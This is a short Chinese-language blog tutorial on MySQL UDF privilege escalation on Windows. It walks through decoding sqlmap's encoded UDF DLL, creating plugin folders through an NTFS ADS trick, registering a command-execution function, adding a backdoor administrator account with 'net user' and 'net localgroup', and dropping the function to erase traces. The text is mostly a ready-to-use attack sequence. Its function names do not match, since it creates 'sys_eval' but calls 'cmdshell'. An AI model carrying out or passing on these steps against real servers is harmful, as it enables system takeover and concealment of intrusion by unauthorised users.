MySQL UDF提權
VSole2021-12-01 07:56:57
0x00 原理
udf = ‘user defined function‘,即‘用戶自定義函數’。文件后綴為‘.dll’,常用c語言編寫。
通過在udf文件中定義新函數,對MYSQL的功能進行擴充,可以執行系統任意命令。將MYSQL賬號root轉化為系統system權限。
0x01 思路
1. 將udf文件上傳到指定位置
sqlmap中有現成的udf文件,分為32位和64位,一定要選擇對版本,否則會顯示:Can‘t open shared library ‘udf.dll‘。
- sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
- sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_
但是sqlmap 中 自帶 的shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函數:
sys_eval,執行任意命令,并將輸出返回。 sys_exec,執行任意命令,并將退出碼返回。 sys_get,獲取一個環境變量。 sys_set,創建或修改一個環境變量。
有了udf文件,接下來就是利用各種辦法上傳到網站指定目錄下
- MySQL<5.0,導出路徑隨意;
- 5.0 <= MySQL<5.1,則需要導出至目標服務器的系統目錄(如:c:/windows/system32/)
- MySQL 5.1以上版本,必須要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數。
一般Lib、Plugin文件夾需要手工建立(可用NTFS ADS流模式突破進而創建文件夾)
select @@basedir; //查找到mysql的目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS創建plugin目錄
2. 從udf文件中引入自定義函數
create function sys_eval returns string soname 'udf.dll'; //sys_eval是函數名稱,udf.dll是lib_mysqludf_sys.dll_上傳后的文件名
3. 執行自定義函數
//新建賬號waitalone,密碼為waitalone.cnselect cmdshell('net user waitalone waitalone.cn /add'); //將waitalone加入管理員組select cmdshell('net localgroup administrators waitalone /add');
4.清除痕跡
drop function cmdshell; 刪除函數 delete from mysql.func where name='cmdshell' 刪除函數
0x02 參考資料
http://www.mamicode.com/info-detail-2294087.htmlhttps://www.waitalone.cn/mysql-tiquan-summary.htmlhttps://blog.csdn.net/x728999452/article/details/52413974https://www.cnblogs.com/xishaonian/p/6016486.html
VSole
網絡安全專家